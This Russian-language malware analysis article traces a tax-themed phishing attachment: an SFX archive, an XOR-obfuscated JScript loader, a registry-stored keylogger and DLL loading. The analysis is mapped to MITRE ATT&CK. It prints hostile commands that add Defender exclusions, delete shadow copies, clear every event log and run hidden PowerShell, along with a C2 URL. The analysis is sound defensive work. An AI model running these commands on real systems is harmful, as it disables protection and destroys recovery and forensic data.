Анализ вложения из фишингового письма
В этой статье на примере фишингового письма с вредоносным вложением рассмотрим ключевые этапы заражения системы: выполнение команд, запуск процессов и работу ВПО в целевой системе. Также детально разберем, как анализировать ВПО, и покажем, как исследование помогает восстановить цепочку событий, приведших к заражению. Кроме того, рассмотрим ключевые признаки компрометации, на которые следует обращать внимание, чтобы своевременно обнаруживать заражение и предотвращать дальнейшее распространение угрозы.
Пример фишингового письма
На почтовый ящик пользователя приходит письмо якобы от налогового органа с требованием предоставить документы по сделке. Во вложении находится архив Документ из налоговой(запрос).rar и кратким описанием содержимого.

Письмо выглядит довольно убедительно: злоумышленники не ограничились формальным текстом и добавили подробное описание в сообщение, а также указали пароль от архива.
Пароль для архива часто используется для обхода антивирусного программного обеспечения (АВПО), поскольку позволяет скрыть содержимое от автоматической проверки. Дополнительно такой прием привлекает внимание получателя и повышает вероятность открытия файла, что особенно важно в фишинговых атаках, где злоумышленники стремятся вызвать доверие или ощущение срочности.

В архиве обнаруживаются не документы по сделке, а исполняемый файл Документ из налоговой(запрос).exe. Судя по всему, злоумышленники не стали тратить время даже на минимальную маскировку содержимого. Вероятно, рассчитывали на любопытство пользователя или на то, что он не обратит внимание на подозрительное расширение и запустит файл.
Анализ исполняемого файла
Перед анализом EXE‑файла обычно проверяют отправителя, анализируют почтовые заголовки и содержание письма. Мы не будем останавливаться на этих этапах, так как сейчас наша задача — выяснить, что представляет собой этот исполняемый файл и какие действия он выполняет.
Анализировать ВПО нужно исключительно в виртуальной, изолированной и заранее подготовленной среде, чтобы минимизировать риск заражения основной ОС. Мы будем использовать виртуальную машину с Windows 10.
Чтобы исследовать содержимое файла Документ из налоговой(запрос).exe, используем инструмент для анализа исполняемых файлов PE Explorer
Открываем исполняемый файл в PE Explorer, переходим в раздел Resource Viewer/Editor. В нем предоставлена информация о встроенных ресурсах: строках, иконках, метаданных и других элементах, которые дают полезные сведения о структуре файла и его предназначении.

Документа из налоговой(запрос).exe в PE Explorer
В разделе ManifestWinRAR SFX module, которое указывает, что перед нами самораспаковывающийся архив, созданный с помощью WinRAR. При запуске такой файл автоматически извлекает содержимое и не требует от пользователя дополнительных действий, например выбора папки для распаковки.
Злоумышленники часто используют этот метод, чтобы упростить доставку вредоносных файлов и скрыть от пользователя промежуточные этапы выполнения вредоносной нагрузки.
Если открыть Документ из налоговой(запрос).exe с помощью WinRAR, можно увидеть SFX‑инструкцию для самораспаковки и файлы, которые будут извлечены и выполнены.

Документа из налоговой (запрос).exe и содержащаяся в нем SFX‑инструкция
SFX‑архив — это самораспаковывающийся EXE‑файл, внутри которого находятся сжатые файлы. Такие архивы создаются с помощью программ‑архиваторов, например WinRAR или 7‑Zip. Структура SFX‑архива состоит из сжатых файлов и исполняемого кода, который отвечает за распаковку этих файлов на целевой машине.
Рассмотрим параметры инструкции SFX для распаковки этих файлов (полный список таких параметров и их описание можно найти в официальных документах WinRAR: GUI SFX modules: setup commands (WinRAR SFX).
silent=2 Overwrite=1 path=%TEMP% setup=cmd.exe /c (start /MIN powershell.exe -NonI -W Hidden -Exec Bypass Add-MpPreference -ExclusionPath "%SYSTEMDRIVE%") & (start /MIN wscript.exe /E:jscript 7020189421 246 "%sfxname%")
Основные параметры:
silent=2— указывает на «тихую» установку, то есть без отображения процесса или уведомлений для пользователя. Позволяет скрыть действия программы.Overwrite=1— перезаписывает существующие файлы при распаковке. Если в целевой директории уже есть файлы с такими именами, они будут автоматически перезаписаны без запроса подтверждения от пользователя.path=%TEMP%— переменная, указывающая на директорию для временных файлов, куда будут распакованы файлы.setup— указывает на дальнейшие действия после распаковки архива.
В нашем случае запускается cmd.exe для выполнения команд, после чего окно закрывается.
Затем запускается powershell.exe, где передается переменная ”%SYSTEMDRIVE%», указывающая на корневой диск системы (обычно диск C). Эта команда добавляет диск в список исключений антивирусного ПО, чтобы избежать его проверки и беспрепятственно выполнить вредоносный код. Список всех переменных окружений Windows доступен в официальной документации Microsoft.
Также запускается wscript.exe с переменной ”%sfxname%», которая содержит имя самого архива. В результате будет выполнен JScript‑файл 7020189421 с параметром 246, о котором расскажем дальше.
Основные файлы в архиве:
7020189421— зашифрованный JS‑скрипт;118020901— зашифрованный кейлоггер;dynwrapx.dll— динамическая библиотека.
Остаточные файлы не представляют угрозы для пользователя без основного исполняемого файла (7020189421). Они выполняют вспомогательные функции, поддерживая работу самого вируса.
Исследование Java‑скрипта
Ниже представлен закодированный скрипт.

7020189421.JS
Скрипт начинается с объявления переменной “h140”, которой присваивается значение 246. Это значение используется в функции “e126” для выполнения побитовых операций XOR, что изменяет исходные данные. В частности, передача этого значения в файл JS «7020189421» может использоваться для контроля работы скрипта и активации побитовых операций, а также для манипуляций с данными, например шифрования и дешифрования.
Аргумент 246, передаваемый в командной строке, излишний, так как он уже объявлен в файле 7020189421. Его наличие или отсутствие при распаковке не влияет на работу скрипта. Возможно, те, кто модифицировал этот семпл вируса, не удалили его или оставили для дополнительного запутывания.
Одна из ключевых задач разработчиков ВПО — усложнить его анализ и затруднить работу исследователей. Для этого используются различные методы маскировки и обфускации кода. Один из наиболее распространенных — XOR‑шифрование, которое позволяет скрыть содержимое вредоносного кода от прямого анализа.
XOR‑шифрование основано на операции «исключающее ИЛИ», при которой каждый бит данных шифруется с соответствующим битом ключа. Это дает зашифрованную версию данных, которую можно расшифровать, применив тот же ключ. Такой подход идеально подходит для обфускации, поскольку зашифрованные данные не видны в исходном виде, что затрудняет их анализ.
Приведем скрипт в порядок, сделав его более читаемым.

7020189421.JS
Основные участки кода и его процесс работы:
- Переменная
h140. Число246используется как ключ для расшифровки текста. Это важная деталь, потому что без правильного ключа расшифровать данные невозможно. - Переменная
j134. Хранит зашифрованный текст, который необходимо расшифровать для анализа. - Функция
e126(l127, f128). Используетh140(число246) для расшифровки части текста. Она помогает понять процесс расшифровки. - Функция
e129(h130, o131). Полностью расшифровывает текст и превращает его в JavaScript‑код, который будет выполнен на хосте. - Функция
eval. Выполняет расшифрованный JavaScript‑код.
Чтобы предотвратить выполнение раскодированного вредоносного кода, закомментируем вызов функции eval и добавим console.log, который выведет результат работы скрипта в консоль. Это позволит увидеть декодированные данные в читаемом виде без запуска вредоносной нагрузки. После этого запустим скрипт через Node.js.

7020189421.JS
Функциональные возможности вредоносного скрипта
Анализ деобфусцированного кода показывает, что скрипт — это многофункциональное ВПО. Он создает и удаляет файлы, управляет запланированными задачами, работает с сетевыми ресурсами, взаимодействует с реестром Windows, собирает информацию о системе, запускает процессы и выполняет другие действия, которые мы рассмотрим далее.
Для взаимодействия с операционной системой скрипт использует ActiveX‑объекты — технологию Microsoft, позволяющую приложениям взаимодействовать друг с другом. Например, через объект WScript.Shell скрипт может выполнять команды операционной системы, запускать утилиты, такие как regsvr32.exe для регистрации библиотеки (DLL), а также читать, изменять или удалять записи реестра.

ACtiveXObject Schedule.Service для взаимодействия с планировщиком задач Windows
Некоторые используемые объекты:
WScript.Shell— запускает программы и изменяет настройки ОС.Scripting.FileSystemObject— управляет файлами и папками.WinHttp.WinHttpRequest— выполняет HTTP‑запросы для работы с веб‑ресурсами.Schedule.Service— работает с планировщиком заданий Windows.
Мы рассмотрели ключевые аспекты использования ActiveX‑объектов для взаимодействия скрипта с Windows. Дальнейший анализ будет основан на конкретных фрагментах кода, выявленных в ходе статического исследования. Их разбор позволит показать, как скрипт реализует свои функции во время выполнения. Это поможет понять его поведение и воздействие на систему.
Подробнее о статическом и динамическом анализе — в предыдущей статье.
Динамический анализ с использованием Sysmon
Sysmon — это инструмент для мониторинга событий в Windows, который позволяет отслеживать создание процессов, изменения в файловой системе, сетевую активность и другие ключевые события на уровне системы. Sysmon записывает данные события в соответствующие журналы. Они предоставляют детализированную информацию о происходящих в системе событиях, что помогает выявлять подозрительную активность и расследовать инциденты кибербезопасности.
Распаковываем архив на рабочий стол и запускаем файл. После запуска ВПО выполняет ряд действий через процесс cmd.exe, который выступает родительским процессом для pwsh.exe и wscript.exe. Оба дочерних процесса запускаются без отображения пользовательского окна: powershell.exe выполняется в скрытом режиме (‑W Hidden), а wscript.exe запускает JScript через cscript/wscript‑движок в скрытом контексте.
Кроме того, ВПО изменяет отдельные параметры антивирусной защиты. Это событие регистрируется в Sysmon с Event_Id = 1 ( Process Create ).

Разберем детальнее.
Powershell.exe запускается в свернутом окне и работает в фоновом режиме, оставаясь незаметным для пользователя. С помощью команды Add‑MpPreference изменяются настройки Windows Defender.
"C:\Windows\System32\cmd.exe" /c (start /MIN powershell.exe -NonI -W Hidden -Exec Bypass Add-MpPreference -ExclusionPath "C:")
Разберем флаги:
/c— параметр дляcmd.exe, который позволяет выполнить команду и завершить процессcmd.exe.- start /MIN — запуск нового процесса в свернутом виде (в фоновом режиме, невидимом для пользователя).
‑NonI— запускPowerShell в неинтерактивном режиме, без ввода данных от пользователя.‑W Hidden— открытие PowerShell в скрытом окне.‑Exec Bypass— обход политики выполнения скриптов, которая может запрещать выполнениеunsignedили неподписанных скриптов. По умолчанию PowerShell запрещает выполнение таких скриптов для повышения безопасности. Этот флаг позволяет запускать вредоносные скрипты, даже если они не подписаны.Add‑MpPreference— изменение настроек Windows Defender.‑ExclusionPath “C:”— указание на то, что диск C будет добавлен в список исключений антивируса. Это позволяет ВПО избежать блокировки, обойдя защиту Windows Defender.
В новом свернутом окне (параметр /MIN) запускается процесс wscript.exe (Windows Script Host, WSH). Ему передается флаг “/E:jscript” , который указывает на использование языка JavaScript. Также сообщается аргумент «7020189421» — имя выполняемого файла — с параметром «246». Команда завершается передачей пути к расположенному файлу 7020189421.
(start /MIN wscript.exe /E:jscript 7020189421 246 "C:\Users\admin\Desktop\Документ из налоговой(запрос).exe")


Основные события при запуске 7020189421.JS процессом wscript.exe
Во время анализа будем сопоставлять события с MITRE ATT&CK, чтобы понять, какие техники использует ВПО, как оно взаимодействует с системой и как его действия классифицировать в контексте реальных угроз. Это помогает увидеть, как именно ВПО использует стандартные методы атаки и каким образом оно обходит защиту.

wscript.exe с Java‑скриптом
Событие 1
Запуск svchost.exe с передаваемым аргументом ‑k netsvcs указывает на запуск службы из группы, использующей сетевые ресурсы.
C:\Windows\system32\svchost.exe -k netsvcs
Информация о списке служб из этой группы хранится в реестре Windows по следующему пути: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost
Также в этой ветке реестра хранится список различных сервисов, которые привязаны к процессу svchost.exe

HKLM\Svchost
Пример служб этой группы:
schedule(Task Scheduler). Выполняет задачи по расписанию, может использоваться для запуска ВПО.winmgmt(Windows Management Instrumentation). Позволяет выполнять скрытые команды и управлять системой через WMI.Remote Access. Управляет удаленными сетевыми соединениями, может использоваться для установления скрытых подключений.Wmi. Обеспечивает взаимодействие с системой через WMI, используется для мониторинга и выполнения операций.
Процесс svchost.exe запускается не вредоносным JS‑скриптом напрямую, а автоматически в рамках стандартной работы Windows, так как svchost.exe — хост‑процесс для различных системных служб. В скрипте 7020189421.JS есть обращения к WMI, например к классу Win32_Process, который позволяет получить информацию о процессах в Windows. Иными словами, скрипт использует методы WMI для выполнения запросов, управления системой и взаимодействия с ОС через COM‑объекты.
Когда скрипт обращается к WMI, чтобы получить информацию о процессах или других системных данных, WMI использует для своей работы процесс svchost.exe. Это происходит потому, что WMI реализован в виде службы Windows и выполняет свои задачи через системные хост‑процессы, такие как svchost.exe.
Событие 2
Запуск svchost.exe запускает службы из группы netsvcs. Служба Winmgmt управляет WMI, загружая библиотеку WMISVC.DLL по пути C:\Windows\System32. Эта библиотека — исполняемый файл WMI, загружаемый через svchost.exe. Winmgmt отвечает за взаимодействие с компонентами WMI и запускает процесс wmiprvse.exe (Windows Management Instrumentation Provider Service).
C:\Windows\system32\wbem\wmiprvse.exe ‑secured ‑Embedding
Запущенный процесс wmiprvse.exe с параметром ‑Embedding работает в режиме COM‑сервера. Так он выступает посредником между приложением (вредоносным скриптом) и WMI, обрабатывая запросы, сформированные на основе языка WQL (аналог SQL). Процесс wmiprvse.exe взаимодействует с ОС, чтобы получить данные о процессах, устройствах, конфигурации системы и других компонентах через WMI. Фактически wmiprvse.exe выполняет запросы к ОС, обрабатываемые службой WMI, и возвращает результаты обратно в приложение.
Один из методов сокрытия и беспрепятственного перемещения вредоносных файлов — добавление исключений для определенных путей в АВПО. В нашем случае ВПО использует PowerShell для создания таких исключений, что помогает скрывать важные файлы от антивирусных программ и избегать блокировки.
Событие 3
В скрытом режиме запускается pwsh.exe с параметрами, которые добавляют домашний каталог пользователя в список исключений антивирусного ПО, используя технику обхода защиты Defense Evasion из матрицы MITRE ATT&CK.
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NonI -W Hidden -Exec Bypass Add-MpPreference -ExclusionPath "C:\Users\admin\AppData\Local"
Создается исключение для последующего перемещения основных файлов ВПО — 7020189421 и dynwrapx.dll — из каталога %TMP% в %LOCALAPPDATA%. При этом файл 7020189421 переименовывается в bb926e540.js.

Разберемся, почему %LOCALAPPDATA% исключается повторно, хотя ранее был исключен весь диск C.
Первичную распаковку файлов в %TMP% вызвал самораспаковывающийся архив Документ из налоговой(запрос).exe.rar. Он же исключил диск C, скрывая дальнейшие действия. После запуска или перезапуска скрипт перемещает свои файлы в директорию %LOCALAPPDATA%, чтобы избежать блокировки и обнаружение средствами АВПО.
Путь %LOCALAPPDATA% исключается, чтобы предотвратить вмешательство средств защиты. Это дополнительная мера предосторожности, чтобы избежать лишнего внимания, или на случай, если первичное исключение будет удалено. Так ВПО еще глубже прячется в системе, минимизируя шанс на обнаружение.
Ниже представлен фрагмент из раскодированного кода ВПО — исключение %LOCALAPPDATA%.

Разберем детали:
self_fileхранит путь к файлу в директории%TMP%, который ВПО впоследствии переместит в%LOCALAPPDATA%.f.Self.Pathполучает путь к директории%LOCALAPPDATA%, используя объект, полученный через shell_application.NameSpace(28).
Для закрепления в системе вредоносные программы часто используют планировщик задач Windows. С его помощью они могут регистрировать задачи, которые выполняются с определенными привилегиями. Это позволяет ВПО сохранять активность после перезагрузки системы и других действий пользователя.
Событие 4
В планировщике заданий зарегистрирована задача с наивысшими привилегиями (Highest[1]): Scheduled Task T1053.005.

Эта задача запускает скрипт bb926e540.js для устойчивого закрепления ВПО в системе. Так вредоносная программа может продолжить работу после перезагрузки хоста, что соответствует тактике Persistence в MITRE ATT&CK и гарантирует сохранение активности ВПО на устройстве.
C:\Windows\SysWOW64\wscript.exe C\Users\admin\AppData\Local\bb926e540.js 246
Скрипт ВПО написан на языке JavaScript. В Windows для выполнения JavaScript‑ и VBScript‑скриптов используется процесс wscript.exe, входящий в состав Windows Script Host (WSH). Поскольку ВПО часто использует WSH для запуска скриптов, wscript.exe представляет особый интерес при анализе подобных активностей.
Событие 5
wscript.exe запускает JS‑файл bb926e540.js, который ранее был перемещен из каталога %TMP% в %LOCALAPPDATA% и переименован. Родительским процессом выступает wmiprvse.exe ‑secured ‑Embedding. Такое поведение соответствует технике T1059.007 (Command and Scripting Interpreter: JavaScript) из тактики Execution MITRE ATT&CK.

bb926e540.js
Чтобы скрыть и поддерживать свою работу после перезагрузки или попыток удаления, ВПО часто взаимодействует с реестром Windows. Например, может зарегистрировать динамические библиотеки и изменять реестр с помощью различных утилит.
Событие 6
regsvr.exe регистрирует динамическую библиотеку dynwrapx.dll. Такое поведение соответствует технике MITRE ATT&CK Modify Registry (изменение реестра), поскольку регистрация библиотеки сопровождается внесением изменений в системный реестр.
C:\Windows\System32\regsvr32.exe /i /s"C:\Users\admin\AppData\Local\dynwrapx.dll"
При анализе такого поведения важно учитывать, что Sysmon предоставляет не только события создания процессов (Event ID 1), но и другие типы телеметрии. Например, событие Event ID 7 (ImageLoad) фиксирует загрузку динамических библиотек процессами, включая путь DLL и ее хеши. Так можно однозначно подтвердить факт регистрации и загрузки таких файлов, как dynwrapx.dll. Это особенно важно при работе с regsvr32.exe и техниками, основанными на регистрации вредоносных модулей.
dynwrapx.dll. Эта DLL регистрируется в системе через regsvr32.exe и используется скриптом bb926e540.js в виде COM‑объекта DynamicWrapperX. Благодаря этому объекту JavaScript может напрямую вызывать функции WinAPI, расширяя свои возможности и выполняя низкоуровневые операции в контексте процесса wscript.exe.dynwrapx.dll как PE‑файл, чтобы понять, какие функции она реализует и какие возможности предоставляет.dynwrapx.dll, используя инструмент PE‑bear. В отличие от PE Explorer, подходящего для быстрого ознакомления с файлом и его ресурсами, PE‑bear позволяет детально изучать структуру секций, их размеры, атрибуты, а также видеть импортируемые и экспортируемые функции. Встроенная интеграция с дизассемблерами Ghidra и Capstone позволяет сразу анализировать код, а встроенный Hex‑редактор с привязкой к структурам позволяет удобно просматривать любые участки файла и мгновенно переходить к содержимому любой секции, чтобы изучать ее в исходном виде.
code— исполняемый код программы.data— изменяемые данные, такие как переменные, которые могут меняться в процессе работы.const— константы, неизменяемые данные, такие как фиксированные числа или строки..rsrc— ресурсы, например иконки, изображения, диалоги, строки..idata— информация об импортируемых библиотеках и функциях, которые использует программа..edata— информация об экспортируемых функциях, которые программа предоставляет другим..reloc— возможность для корректировки адресов в программе, когда она загружается в память (например, для работы с динамической загрузкой).
.code содержит исполняемый машинный код, функции и логику, запускаемые при загрузке и запуске DLL. При дизассемблировании этот код представляется в виде ассемблерных инструкций, что позволяет понять реализованную в нем логику.
.code
Advapi32.dll. Хотя эта библиотека не указана среди импортируемых, ее функции становятся доступными в результате импорта. Импорт Advapi32.dll позволяет использовать следующие функции для работы с реестром:RegCreateKeyExA— создание реестрового ключа.RegSetValueExA— установка значений в реестровый ключ.RegCloseKey— закрытие реестрового ключа.
.idata. Она предоставляет информацию о том, какие библиотеки и функции используются в процессе выполнения.
.idata
kernel32.dll— библиотека Windows NT Base API, предоставляющая базовые функции ОС, такие как управление памятью, процессами, потоками, файлами и вводом/выводом.msvcrt.dll— библиотека C‑runtime для приложений, скомпилированных с использованием Microsoft Visual C+, возможности пересекается с функциямиkernel32.dll.ole32.dll— библиотека для поддержки технологии OLE и COM в Windows, это технологии взаимодействия приложений и ОС.oleaut32.dll— библиотека для автоматизации объектов и работы с типами данных в COM, в том числе поддержки строк и массивов.
LoadLibraryA из библиотеки Kernel32.dll для динамического импорта Advapi32.dll и ее функций. Благодаря этому сэмпл может расширить свои возможности за счет библиотек, не указанных в статической таблице импорта, а также использовать такие функции, как RegCreateKeyExA, RegSetValueExA и RegCloseKey для работы с реестром..edata хранятся данные, которые dynwrapx.dll предоставляет другим приложениям, — экспортируемые функции, которые могут использовать сторонние программы, в том числе сам вредоносный скрипт bb926e540.js. Экспортируемые функции, которые могут использовать другие приложения, в том числе сам скрипт ВПО bb926e540.js. Эти функции, в частности, связаны с работой с COM‑серверами и их регистрацией или отменой регистрации.
.edata

.code, .idata и .edata и т. д., а также данных, извлеченных из раздела Strings, переходим к исследованию регистрации уникального идентификатора COM‑объекта CLSID в реестре Windows. Этот процесс позволяет ВПО зарегистрировать COM‑сервер, который будет загружаться в тот же процесс, что и вызывающее его приложение, а не в отдельный.HKEY_CLASSES_ROOT\WOW6432Node\CLSID или HKEY_CLASSES_ROOT\CLSID создается запись подкаталога InProcServer32, в котором указывается путь к библиотеке (C:\Users\admin\AppData\Local\dynwrapx.dll), которая реализует COM‑сервер. Эта DLL будет загружена в тот же процесс, что и приложение, которое вызывает этот COM‑сервер.
HKEY_CLASSES_ROOT\WOW6432Node\CLSID
bb926e540.js создает COM‑объект DynamicWrapperX через ActiveXObject, используя строку new ActiveXObject(‘DynamicWrapperX’), что позволяет ему взаимодействовать с системой на уровне COM‑серверов. Скрипт обращается к реестру Windows, где находит ProgID “DynamicWrapperX”, который связан с уникальным CLSID. Далее система ищет этот CLSID в реестре, находит путь к соответствующему COM‑серверу (DLL) в подкаталоге InProcServer32 и загружает указанный файл в процесс, вызывающий этот объект. COM‑сервер загружается не в новый процесс, а в WSH, выполняющий скрипт bb926e540.js, что позволяет COM‑объекту выполнять вредоносные действия в этом процессе.
HKEY_CLASSES_ROOT\DynamicWrapperX\CLSID
bb926e540.js загружает библиотеку dynwrapx.dll в память процесса wscript.exe. Это позволяет выполнять вредоносный код в контексте Windows Script Host (WSH), повышая скрытность и обеспечивая выполнение вредоносных действий без запуска дополнительных процессов.bb926e540.js загружает библиотеку dynwrapx.dll в память процесса wscript.exe. Это позволяет вредоносному коду исполняться в контексте процесса WSH, обеспечивая скрытность и возможность выполнения вредоносных действий без создания новых процессов.dynwrapx.dll напрямую в выделенную память процесса wscript.exe, минуя файловую систему и таким образом снижая вероятность его обнаружения.bb926e540.js.
dynwrapx.dll может временно сохраняться на диске, если ВПО не успело установить связь с C2‑сервером. Поскольку ВПО было запущено в изолированной среде, его поведение может отличаться от того, как оно проявилось бы при активной связи с C2‑сервером. Так, ВПО может попытаться удалить dynwrapx.dll с диска, продолжив выполнение кода (то есть содержимого библиотеки) в памяти процесса. Отсутствие связи с C2‑сервером в изолированной среде привело к неполной реализации всех функций ВПО, что ограничило его активность.LoadLibrary и не попадает в таблицу загруженных модулей процесса, обычные средства мониторинга не могут увидеть такую библиотеку. Единственная возможность ее обнаружить — анализ памяти процесса. В дампе могут находиться строки, функции и структуры, указывающие на загруженный код. Поэтому для подтверждения или опровержения гипотезы о рефлективной инъекции следует обращаться к инструментам анализа оперативной памяти и предварительно снятого дампа памяти. Базовую проверку можно выполнить с помощью Volatility. Это инструмент командной строки для анализа дампов памяти (RAM) в ОС, позволяющий извлекать запущенные процессы, открытые сетевые соединения, ключи реестра и другие сведения из оперативной памяти.wscript.exe с использованием инструмента Volatility и плагина windows.dlllist не было обнаружено нестандартных или подозрительных DLL, что соответствует ожиданиям при использовании техники рефлективной загрузки. Плагин windows.dllist отображает только библиотеки, загруженные стандартным способом через LoadLibrary, поэтому DLL, загруженные другими методами, в его вывод не попадают.
wscript.exe
LoadLibrary для загрузки DLL в адресное пространство целевого процесса. Поэтому такую инъекцию легче обнаружить, чем рефлективную инъекцию DLL, при которой не используется функция LoadLibrary. Содержимое библиотеки загружается напрямую в память с использованием таких функций, как VirtualAlloc для выделения памяти и WriteProcessMemory для записи содержимого DLL в эту память. Это позволяет избежать добавления DLL в системные структуры, например в таблицу загруженных библиотек, и, соответственно, DLL не будет отображаться в выводе dllllist.wscript.exe встречаются записи, связанные с ключевыми функциями и библиотеками, такими как GetProcAddress, LoadLibraryExA, FreeLibrary, которые используются для динамической загрузки DLL. Эти функции, а также упоминание библиотек msvcrt.dll, OLEAUT32.dll, advapi32.dll и KERNEL32.dll, подтверждают наличие механизмов работы с динамическими библиотеками.RegSetValueA, RegCreateKeyExA, RegCloseKey, что говорит о взаимодействии с реестром Windows. Строки вида SOFTWARE\Classes\%s\%s и LocalServer32 могут свидетельствовать об использовании COM‑технологий._beginthread, _endthread, _vsnprintf, malloc, free, HeapAlloc, HeapFree, HeapReAlloc, которые связаны с работой потоков и манипуляциями с памятью, что характерно для программ, использующих виртуальную память для выполнения кода..text, .data, .idata, .rsrc, .reloc соответствуют стандартным разделам PE‑файла, что подтверждает связь исследуемого объекта с исполняемым файлом.
wscript.exe
dynwrapx.dll. А это свидетельствует о том, что dynwrapx.dll была загружена в сам процесс.Для предотвращения восстановления системы ВПО удаляет теневые копии, чтобы исключить возможность откатить систему в состояние до атаки или заражения.
Событие 7
Утилита vssadmin.exe удаляет все теневые копии, которые могут быть использованы для восстановления системы. Используется техника System Recovery из матрицы MITRE ATT&CK.
C:\Windows\System32\vssadmin.exe" Delete Shadows /All /Quiet
Также ВПО очищает журнал событий Windows.

Фрагмент этого кода подтверждает, что ВПО использует утилиту wevtutil.exe, которая предназначена для управления журналами событий системы, процессом cmd.exe. В этом случае wevtutil.exe используется для очистки журнала, что позволяет скрыть следы злоумышленника, удалив записи о выполненных операциях из системных журналов и усложнив анализ системы.
for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"
Команда выше позволяет получить список всех журналов событий с помощью wevtutil.exe, перебирает каждый журнал и очищает его с помощью wevtutil.exe cl»%1».
Кроме того, ВПО очищает данные в браузерах Chrome, Firefox и «Яндекс», удаляя историю, кеш, cookies и другие данные, что дополнительно усложняет восстановление следов и анализ действий на зараженной машине.

Событие 8
Ранее мы выяснили, что, помимо DLL и анализируемого JS‑скрипта, архив также содержит кейлоггерДокумент из налоговой(запрос).exe. После распаковки содержимое кейлоггера (файл 118020901) оказывается в директории %TMP%, откуда его считывает и запускает скрипт bb926e540.js.
Затем powershell.exe запускается в фоновом режиме и считывает данные из реестра, куда ранее был записан кейлоггер. Сам кейлоггер не оставляет следов на диске: после прочтения файл удаляется из директории %TMP%. Таким образом, данные сначала записываются в реестр с помощью скрипта, а затем извлекаются через pwsh. Этот метод представляет собой бесфайловый кейлоггер, который отличается от традиционных тем, что не создает видимых файловых записей.

jscript считывает данные кейлоггера и записывает в реестр

pwsh.exe
powershell.exe -NoP -NonI -W Hidden -Exec Bypass -enc "закодированный Base64 кейлоггер"
Кейлоггер сохраняется в ветке реестра HKCU\DWM в кодировке Base64 и содержит там данные, которые перехватывает в процессе своей работы Collection. Чтобы разобраться в работе с этой веткой реестра, рассмотрим несколько фрагментов кода, которые реализуют чтение и запись данных в ветку HKEY_CURRENT_USER\Software\Microsoft\Windows\DWM.
Сначала задается переменная reg_base_key, которая указывает путь к нужной ветке реестра: HKEY_CURRENT_USER\Software\Microsoft\Windows\DWM:

Чтобы извлечь данные из реестра, используется функция cfg_get_param, которая через метод wscript_shell.RegRead обращается к ключу реестра. Этот метод позволяет считывать информацию из реестра:

Для записи данных в реестр применяется функция cfg_set_param, которая записывает полученную информацию в ветку HKCU\DWM с помощью метода wscript_shell.RegWrite:

Так в коде реализуется работа с реестром Windows через ветку HKEY_CURRENT_USER\Software\Microsoft\Windows\DWM.
Вредоносный код сохраняет в этой ветке как данные, перехваченные кейлоггером, так и сам кейлоггер. Чтение и запись данных выполняются с помощью функций cfg_get_param и cfg_set_param. Для этого используются методы WScript.Shell.RegRead, отвечающий за чтение данных из реестра, и WScript.Shell.RegWrite, предназначенный для их записи. Это подтверждает, что реестр используется в качестве хранилища данных.

Так мы обнаружили, что бесфайловый кейлоггер использует реестр для хранения собранных данных. Это позволяет ему оставаться незамеченным, поскольку позволяет обходить стандартные механизмы обнаружения.
Подтверждением этому стала запись в реестре, из которой следует, что кейлоггер сохранял перехваченную информацию в ветке HKEY_CURRENT_USER\Software\Microsoft\Windows\DWM. Это достаточно продуманный подход, поскольку раздел DWM обычно используется для хранения параметров диспетчера окон Windows и не вызывает подозрений. В результате хранящиеся в нем данные с меньшей вероятностью будут обнаружены.

HKCU/DWM
ВПО активно использует возможности WMI (Windows Management Instrumentation), поскольку этот инструмент предоставляет широкий набор функций для сбора информации о системе, ее компонентах и конфигурации. С помощью WMI атакующие могут получать данные, необходимые для закрепления в системе, выполнения команд и бокового перемещения.
Событие 9
Запущенный процесс wscript.exe с файлом скрипта bb926e540.js инициирует запросы WMI, используя язык WQL (WMI Query Language), чтобы получить информацию об ОС, установленном АВПО и данных компьютера.
"SELECT * FROM WIN32_OPERATINGSYSTEM" "SELECT * FROM ANTIVIRUSPRODUCT" "SELECT * FROM WIN32_COMPUTERSYSTEM"
В логах отображаются вызовы CALL через COM‑объекты.
CALL, IWSHNETWORK2 -> COMPUTERNAME() CALL, IWSHNETWORK2 -> USERNAME() CALL, ISWBEMOBJECTEX -> CURRENTTIMEZONE()) CALL, ISWBEMOBJECTEX -> DOMAINROLE() CALL, ISWBEMOBJECTEX -> PARTOFDOMAIN()

CALL
WMI предоставляет класс Win32_ComputerSystem, который используется для получения информации о системе. Для этого через метод ExecQuery выполняется запрос к объекту objItem, хранящему данные (свойства) класса Win32_ComputerSystem. Примеры таких свойств:
- ComputerName — имя компьютера;
- DomainRole — роль компьютера в домене;
- PartOfDomain — информация о том, является ли компьютер частью домена.
Когда скрипт обращается к этим свойствам (например, objItem.DomainRole или objItem.PartOfDomain), вызываются методы COM‑объектов, которые извлекают эти данные. В логах это отображается как вызовы CALL через COM‑объекты. Это связано с тем, что доступ к системной информации через WMI происходит через низкоуровневые методы COM‑интерфейсов ОС, поэтому такие обращения фиксируются в логах как вызовы методов COM‑объектов в логах.
Эти действия демонстрируют применение тактики Discovery, в рамках которой ВПО собирает следующую информацию:
- ОС Windows,
- антивирусные продукты,
- система компьютера,
- имя компьютера,
- пользователь,
- часовой пояс,
- роль компьютера в домене,
- принадлежность компьютера к домену.
После получения необходимой информации через WMI скрипт продолжает выполнение и записывает новую запись в реестр. На этом этапе через вызов CALL регистрируется новая запись по пути HKCU\DWM, содержащая URL‑адрес, сгенерированный с помощью алгоритма DGA (domain generation algorithm).
Если домен недоступен, URL изменяется на другой:
CALL, IWSHSHELL3 -> REGWRITE(VT_BSTR) передаваемый параметр: "HTTPS://FB0BF2B1.SPACE/INDEX.PHP" HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\WINDOWS\DWM\"HTTPS:// FB0BF2B1.SPACE/INDEX.PHP"

Чтобы скрыть свои действия и предотвратить обнаружение, ВПО часто использует методы маскировки данных. Один из них — передача данных на сервер управления (C2) с использованием нестандартных заголовков или других манипуляций с HTTP‑запросами. Так злоумышленники скрывают реальное содержание передаваемой информации, создавая видимость обычного веб‑трафика, чтобы затруднить анализ.
Событие 10
Скрипт ВПО формирует HTTP‑заголовок для дальнейшей отправки собранных данных на сервер С2, что соответствует технике MITRE ATT&CK Data Obfuscation.

Данные передаются в закодированном формате hex2bin через интерфейс в Windows IWinHttpRequest, который используется для выполнения HTTP(S)‑запросов. На сервер управления (C2) они отправляются в шестнадцатеричном виде, а после получения декодируются.
